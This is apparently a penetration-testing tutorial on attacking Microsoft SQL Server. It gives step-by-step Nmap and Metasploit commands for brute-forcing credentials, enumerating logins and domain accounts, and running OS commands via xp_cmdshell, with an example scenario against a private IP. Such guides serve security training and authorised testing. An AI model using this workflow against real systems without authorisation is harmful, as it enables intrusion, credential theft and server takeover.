Overview

Microsoft SQL Server (MSSQL) is commonly targeted during penetration testing because:

• It often uses weak credentials

• It may expose sensitive data

• It can allow command execution on the underlying system

This guide covers:

• Service detection using Nmap

• Credential brute-forcing

• Enumeration of databases and users

• Command execution via Metasploit

---

Scanning with Nmap

Basic Scan

nmap <IP>

Purpose:

• Identify open ports

• Detect if MSSQL service is running (default port: 1433, custom: e.g., 11433)

---

MSSQL Service Detection

nmap <IP> -p 11433 -sV --script ms-sql-info

Explanation:

• -p 11433 → Target specific MSSQL port

• -sV → Service/version detection

• --script ms-sql-info → Retrieves:

  • SQL Server version

  • Instance name

  • Named pipes info

Example Output Insight:

• MSSQL version (e.g., SQL Server 2017)

• Instance name (e.g., SQLEXPRESS)

• Authentication mode (Windows/SQL)

---

Metasploit Framework Setup

msfconsole

Launches the Metasploit framework.

---

Brute Force Login

use auxiliary/scanner/mssql/mssql_login
setg RHOSTS <IP>
set USER_FILE /path/to/user_wordlist
set PASS_FILE /path/to/pass_wordlist
set VERBOSE false
run

Explanation:

• Attempts login using username/password lists

• setg makes variables global across modules

Example:

• USER_FILE → usernames.txt (admin, sa, root)

• PASS_FILE → rockyou.txt

Output:

• Valid credentials (e.g., sa:password123)

---

MSSQL Enumeration

Basic Enumeration

use auxiliary/scanner/mssql/mssql_enum
run

Purpose:

• Enumerates:

  • Server info

  • Database names

  • Configuration details

---

Admin-Level Enumeration

use auxiliary/admin/mssql/mssql_enum
run

Purpose:

• Requires valid credentials

• Provides deeper insights:

  • Privileges

  • Linked servers

  • Advanced configurations

---

SQL Logins Enumeration

use auxiliary/admin/mssql/mssql_enum_sql_logins
exploit

Purpose:

• Lists SQL authentication accounts

• Helps identify additional targets

---

Domain Accounts Enumeration

use auxiliary/admin/mssql/mssql_enum_domain_accounts
exploit

Purpose:

• Extracts domain users if MSSQL is domain-connected

• Useful for lateral movement

---

Command Execution

use auxiliary/admin/mssql/mssql_exec
set CMD whoami
run

Explanation:

• Executes OS-level commands via MSSQL

• Uses features like xp_cmdshell

Example Output:

nt authority\system

Implication:

• Confirms command execution

• Shows privilege level

---

Attack Flow Summary

1. Scan Target

   • Identify MSSQL port and version

2. Brute Force Credentials

   • Use wordlists to find valid login

3. Enumerate Database

   • Extract users, DBs, configs

4. Privilege Escalation

   • Check admin rights, domain accounts

5. Command Execution

   • Run OS commands via MSSQL

---

Important Notes

• MSSQL often runs with high privileges → high impact if compromised

• xp_cmdshell may be disabled; can sometimes be enabled via SQL queries

• Always verify:

  • Authentication mode (Windows vs SQL)

  • Network exposure

• Default credentials like sa are common attack vectors

---

Example Scenario

Target IP: 192.168.1.10

1. Scan:

nmap 192.168.1.10 -p 1433 -sV --script ms-sql-info

1. Brute Force:

use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

1. Found:

sa : admin@123

1. Execute Command:

use auxiliary/admin/mssql/mssql_exec
set CMD whoami
run

1. Result:

nt authority\system

---

Conclusion

MSSQL exploitation using Metasploit is a structured process involving:

• Service discovery

• Credential attacks

• Deep enumeration

• Command execution

It is highly effective in real-world penetration testing because database servers often expose critical infrastructure and privileged access.